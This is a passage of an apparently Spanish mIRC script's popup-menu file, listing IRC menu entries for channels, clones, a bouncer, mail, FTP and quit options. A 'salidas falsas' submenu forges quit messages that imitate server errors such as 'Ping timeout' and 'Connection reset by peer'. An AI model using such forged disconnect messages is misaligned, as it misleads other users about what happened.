$read -l10 $mircdirsistema\txts\canales.txt : join $read -l10 $mircdirsistema\txts\canales.txt n162=.- n163=.$iif(!$server,$style(2)) users de un canal?: who #$$?="Nombre del canal (sin #)" n164=- n165=$iif(!$server,$style(2)) Privado: query $$?="Nick para privado?" n166=- n167=F-server: dialog -m fserver fserver n168=Away: dialog -m away away n169=Clon n170=.clonstatus: @clon n171=.config: dialog -m clon clon n172=.nick clon:/ %nickorionclon = $$?="Pon nuevo nick para clon" n173=.- n174=.Bouncer: bouncer n175=- n176=Internet n177=.WWW n178=..GOOGLE: google n179=..- n180=..Agenda URL: dialog -m agendaurl agendaurl n181=.Correo n182=..enviar mail: run $mircdirsistema\sendmail\EnvioMail.exe n183=..gestor: dialog -m email email n184=..e-mailer: runer email $$?="Escirbe la cuenta de correo" n185=.SMS: sms n186=.Telnet: telnet n187=.FTP: /ftp n188=.Radio: dialog -m radio radio n189=.Stat - inet: run $mircdirsistema\bats\nstat.bat n190=.OrioN: dialog -m oriongestor oriongestor n191=- n192=Limpiar: clear $active n193=- n194=$iif(!$server,$style(2)) Salir IRC n195=.salir con msg n196=..%quitmsg1 : quit %quitmsg1 n197=..%quitmsg2 : quit %quitmsg2 n198=..%quitmsg3 : quit %quitmsg3 n199=..- n200=..predefinir... %quitmsg1 : set %quitmsg1 $$?="Texto del mensaje para el quit-1?" n201=...%quitmsg2 : set %quitmsg2 $$?="Texto del mensaje para el quit-2?" n202=...%quitmsg3 : set %quitmsg3 $$?="Texto del mensaje para el quit-3?" n203=..- n204=..otro?: quit $$?="Texto del mensaje para el quit-1?" n205=.salir sin msg: quit n206=.- n207=.salidas falsas n208=..Ping timeout: quit Ping timeout for $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93) n209=..Connection reset by peer: quit Read error to $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93) $+ : Connection reset by peer n210=..Connection refused: quit Read error to $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93) $+ : Connection refused n211=..Write error: quit Write error to $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93) $+ : closing link n212=..Protocol not available: quit Read error to $me $+ $chr(91) $+ $remove( $address($me,2) , *!*@ ) $+ $chr(93) $+ : Protocol not available n213=.- n214=.salir y cerrar: quit | exit n215=.- n216=.cerrar n217=..privados:/close m n218=..fserver:/close f n219=..canales n220=...con mensaje:/partall $$?="Escribe el mensaje" n221=...sin mensaje:/partall n222=..todos los canales n223=..OrioN: exit